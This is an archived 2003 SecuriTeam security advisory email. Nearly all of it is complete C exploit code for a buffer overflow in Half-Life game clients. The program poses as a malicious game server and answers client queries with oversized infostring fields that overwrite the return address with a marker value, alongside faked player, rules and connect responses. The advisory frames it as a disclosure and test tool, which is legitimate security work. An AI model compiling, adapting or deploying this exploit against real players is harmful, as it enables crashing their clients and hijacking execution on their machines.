[EXPL] Half-Life Clients Buffer Overflow Vulnerability Exploit Code

From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03


To: list@securiteam.com
Date: 31 Jul 2003 15:01:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

Get Thawte's New Step-by-Step SSL Guide for Apache.
In this guide you will find out how to test, purchase,
install and use a Thawte Digital Certificate on you Apache web server.
Throughout, best practices for set-up are highlighted to help you
ensure efficient ongoing management of your encryption keys and digital
certificates. Get you copy of this new guide now:
http://ad.doubleclick.net/clk;5903117;8265118;i

- - - - - - - - -

  Half-Life Clients Buffer Overflow Vulnerability Exploit Code
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article,
<http://www.securiteam.com/securitynews/5DP0Y0AAKK.html> Half-Life Clients
Buffer Overflow Vulnerability (Client Connection Routine), a vulnerability
in the Half-Life clients allows remote attackers to cause the program to
execute arbitrary code by overflowing one of the program's internal
buffers. The following exploit code can be used to test your installation
for the mentioned vulnerability.

DETAILS

Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
  #include <winsock.h>
  #include "winerr.h"

  #define close closesocket
#else
  #include <unistd.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <arpa/inet.h>
  #include <netdb.h>
#endif

#define VER "0.1"
#define PORT 27015
#define BUFFSZ 2048

/* QUERIES */
#define PING "ping"
#define INFOS "infostring"
#define INFO "info"
#define DET "details"
#define CHALL "getchallenge"
#define PLAY "players"
#define RULES "rules"
#define RCON "challenge rcon"
#define CONN "connect"

/* ANSWERS */
#define INFOS1P "\xff\xff\xff\xff" \
    "infostringresponse\x00" \
    "\\" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
/* EIP */ "EIP." \
    "\\0" \
    "\\protocol\\46" \
    "\\address\\1.2.3.4:27015" \
    "\\players\\3" \
    "\\proxytarget\\0" \
    "\\lan\\0" \
    "\\max\\16" \
    "\\gamedir\\valve" \
    "\\description\\Half-Life" \
    "\\hostname\\Test" \
    "\\map\\map" \
    "\\type\\l" \
    "\\password\\0" \
    "\\os\\w" \
    "\\secure\\0" \
    "\x00"

#define INFOS1V "\xff\xff\xff\xff" \
    "infostringresponse\x00" \
    "\\hostname\\" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
    "aaaaaaaaaaaaaaaa" \
/* EIP */ "EIP." \
    "\\protocol\\46" \
    "\\address\\1.2.3.4:27015" \
    "\\players\\3" \
    "\\proxytarget\\0" \
    "\\lan\\0" \
    "\\max\\16" \
    "\\gamedir\\valve" \
    "\\description\\Half-Life" \
    "\\hostname\\Test" \
    "\\map\\map" \
    "\\type\\l" \
    "\\password\\0" \
    "\\os\\w" \
    "\\secure\\0" \
    "\x00"

#define PING1 "\xff\xff\xff\xff" \
    "j\x00"

#define PLAY1 "\xff\xff\xff\xff" \
    "D" \
/* players */ "\x03" \
    "\x01" "player1\0" "\x04\x00\x00\x00" "\xff\xff\xff\xff" \
    "\x02" "player2\0" "\x06\x00\x00\x00" "\xff\xff\xff\xff" \
    "\x03" "player3\0" "\x09\x01\x00\x00" "\xff\xff\xff\xff"
// | | | |
// | | | total time in-game
// | | number of frags
// | player name
// player ID

#define RULES1 "\xff\xff\xff\xff" \
    "E" \
/* rules */ "\x2b\x00" \
    "mp_logfile\0" "1\0" \
    "deathmatch\0" "1\0" \
    "coop\0" "0\0" \
    "pausable\0" "0\0" \
    "sv_voiceenable\0" "1\0" \
    "mp_consistency\0" "1\0" \
    "sv_contact\0" "contactme\0" \
    "sv_proxies\0" "1\0" \
    "sv_password\0" "0\0" \
    "sv_aim\0" "0\0" \
    "sv_gravity\0" "800\0" \
    "sv_friction\0" "4\0" \
    "edgefriction\0" "2\0" \
    "sv_stopspeed\0" "100\0" \
    "sv_maxspeed\0" "270\0" \
    "mp_footsteps\0" "1\0" \
    "sv_accelerate\0" "10\0" \
    "sv_stepsize\0" "18\0" \
    "sv_clipmode\0" "0\0" \
    "sv_bounce\0" "1\0" \
    "sv_airmove\0" "1\0" \
    "sv_airaccelerate\0" "10\0" \
    "sv_wateraccelerate\0" "10\0" \
    "sv_waterfriction\0" "1\0" \
    "sv_clienttrace\0" "3.5\0" \
    "sv_cheats\0" "0\0" \
    "sv_allowupload\0" "1\0" \
    "sv_minrate\0" "0\0" \
    "sv_maxrate\0" "0\0" \
    "mp_teamplay\0" "0\0" \
    "mp_fraglimit\0" "20.000000\0" \
    "mp_timelimit\0" "20.000000\0" \
    "mp_fragsleft\0" "9999\0" \
    "mp_timeleft\0" "1088\0" \
    "mp_friendlyfire\0" "1\0" \
    "mp_falldamage\0" "1\0" \
    "mp_weaponstay\0" "1\0" \
    "mp_forcerespawn\0" "1\0" \
    "mp_flashlight\0" "1\0" \
    "mp_autocrosshair\0" "0\0" \
    "decalfrequency\0" "30\0" \
    "mp_teamlist\0" "hgrunt;scientist\0" \
    "mp_allowmonsters\0" "0\0" \
    "mp_chattime\0" "10\0"
// | | | |
// | | | NULL
// | | rule value
// | NULL
// rule name

#define CHALL1 "\xff\xff\xff\xff" \
    "A00000000 123456789 2\n\x00"
// |
// challenge key

#define DET1 "\xff\xff\xff\xff" \
            "m" \
/* IP&port */ "1.2.3.4:27015\0" \
/* hostname */ "Test\0"\
/* mapname */ "map\0"\
/* gamedir */ "valve\0"\
/* descr */ "Half-Life\0"\
/* clients */ "\x03" \
/* maxclients*/ "\x10" \
/* protocol */ "\x2e" \
/* type */ "l" \
/* OS */ "w" \
/* passwordd */ "\x00" \
/* mod run */ "\x00" \
        "\x00"

#define CONN1 "\xff\xff\xff\xff" \
    "B" \
    "4294967371 3 \"1.2.3.4:27005\"\0"

#define BUGNUM "" \
"1 = Parameter buffer-overflow: the return address of the clients will be
overwritten with \"EIP.\" (0x2e504945)\n" \
"2 = Value buffer-overflow: the return address of the clients will be
overwritten with \"EIP.\" (0x2e504945)\n"

void show_dump(unsigned char *buff, unsigned int buffsz);
void std_err(void);

int main(int argc, char *argv[]) {
  int sd,
                err,
                plen,
                infostrlen;
  u_short port = PORT;
  struct sockaddr_in peerc,
        peers;
  u_char buff[BUFFSZ],
      *infostr;

  fputs("\n"
    "Half-Life <= 1.1.1.0 passive buffer-overflow test "VER"\n"
    "by Auriemma Luigi\n"
    "e-mail: aluigi@pivx.com\n"
    "web: http://www.pivx.com/luigi/\n"
    "\n", stdout);

  if(argc < 2) {
    printf("\nUsage: %s <bug_num> [listening_port(%hu)]\n"
      "\n\nbug_num:\n\n"
            BUGNUM
      "\n", argv[0], PORT);
    exit(1);
  }

  switch(argv[1][0]) {
    case '1': {
      infostr = INFOS1P;
      infostrlen = sizeof(INFOS1P) - 1;
      } break;
    case '2': {
      infostr = INFOS1V;
      infostrlen = sizeof(INFOS1V) - 1;
      } break;
    default: {
      fputs("\nError: You must chose the bug number:\n\n"
                BUGNUM
        "\n", stdout);
      exit(1);
    }
  }
  if(argc > 2) port = atoi(argv[2]);

#ifdef WIN
  WSADATA wsadata;
  err = WSAStartup(MAKEWORD(2,0), &wsadata);
    if(err < 0) std_err();
#endif

  sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if(sd < 0) std_err();

  peers.sin_addr.s_addr = INADDR_ANY;
  peers.sin_port = htons(port);
  peers.sin_family = AF_INET;
  plen = sizeof(peerc);

  err = bind(sd, (struct sockaddr *)&peers, plen);
  if(err < 0) std_err();

  printf("\nListening on UDP port %u\n\n"
        "NOTE: use a debugger to see the exception and the overwritten
EIP\n\n",
        port);

  while(1) {
    err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peerc, &plen);
    if(err < 0) std_err();
    buff[err] = 0x00;

    printf("%s:%d = ",
            inet_ntoa(peerc.sin_addr),
            htons(peerc.sin_port));

    /* --- */

    if(!memcmp(buff + 4, INFOS, sizeof(INFOS) - 1)) {
      fputs("INFOSTRING (buffer-overflow)\n", stdout);
      sendto(sd, infostr, infostrlen, 0, (struct sockaddr *)&peerc, plen);
      continue;
    }

    if(!memcmp(buff + 4, PING, sizeof(PING) - 1)) {
      fputs("PING\n", stdout);
      sendto(sd, PING1, sizeof(PING1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    if(!memcmp(buff + 4, PLAY, sizeof(PLAY) - 1)) {
      fputs("PLAYERS\n", stdout);
      sendto(sd, PLAY1, sizeof(PLAY1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    if(!memcmp(buff + 4, RULES, sizeof(RULES) - 1)) {
      fputs("RULES\n", stdout);
      sendto(sd, RULES1, sizeof(RULES1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    if(!memcmp(buff + 4, CHALL, sizeof(CHALL) - 1)) {
      fputs("GETCHALLENGE\n", stdout);
      sendto(sd, CHALL1, sizeof(CHALL1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    if(!memcmp(buff + 4, DET, sizeof(DET) - 1)) {
      fputs("DETAILS\n", stdout);
      sendto(sd, DET1, sizeof(DET1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    if(!memcmp(buff + 4, CONN, sizeof(CONN) - 1)) {
      printf("CONNECT: \n%s\n", buff + 4);
      sendto(sd, CONN1, sizeof(CONN1) - 1, 0, (struct sockaddr *)&peerc,
plen);
      continue;
    }

    fputs("Unknown data:\n", stdout);
    show_dump(buff, err);
  }

  close(sd);
  return 0;
}

void show_dump(unsigned char *buff, unsigned int buffsz) {
  const char *hex = "0123456789abcdef";
  unsigned char buffout[80],
      *ptrout,
      *ptr;
  unsigned int num;
  int i,
      j,
      rest;

  num = buffsz >> 4; /* 16 caratteri */
  rest = (buffsz - (num << 4));
  ptr = buff;

  for(i = 0; i < num; i++) {
    ptrout = buffout;
    for(j = 0; j < 16; j++) {
      *ptrout++ = hex[*ptr >> 4];
      *ptrout++ = hex[*ptr & 0xf];
      *ptrout++ = 0x20;
      *ptr++;
    }
    *ptrout++ = 0x20;
    *ptrout++ = 0x20;

    ptr -= 16;
    for(j = 0; j < 16; j++) {
      if(*ptr > 0x20) *ptrout = *ptr;
        else *ptrout = '.';
      ptr++;
      ptrout++;
    }
    *ptrout++ = 0x0a;
    *ptrout = 0x00;
    fputs(buffout, stdout);
  }

  if(rest) {
    ptrout = buffout;
    for(j = 0; j < rest; j++) {
      *ptrout++ = hex[*ptr >> 4];
      *ptrout++ = hex[*ptr & 0xf];
      *ptrout++ = 0x20;
      *ptr++;
    }

    j = 50 - (ptrout - buffout);
    memset(ptrout, 0x20, j);
    ptrout += j;

    ptr -= rest;
    for(j = 0; j < rest; j++) {
      if(*ptr > 0x20) *ptrout = *ptr;
        else *ptrout = '.';
      ptr++;
      ptrout++;
    }
    *ptrout++ = 0x0a;
    *ptrout = 0x00;
    fputs(buffout, stdout);
  }
}

#ifndef WIN
  void std_err(void) {
    perror("\nError");
    exit(1);
  }
#endif

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@pivx.com> Auriemma
Luigi.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages